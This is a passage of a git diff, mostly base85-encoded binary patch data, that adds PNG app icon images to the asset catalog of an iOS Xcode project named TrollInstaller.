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 literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/152.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/152.png new file mode 100644 index 0000000000000000000000000000000000000000..112eb46642956de91f00a2999c46dc6adc605de3 GIT binary patch literal 21577 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 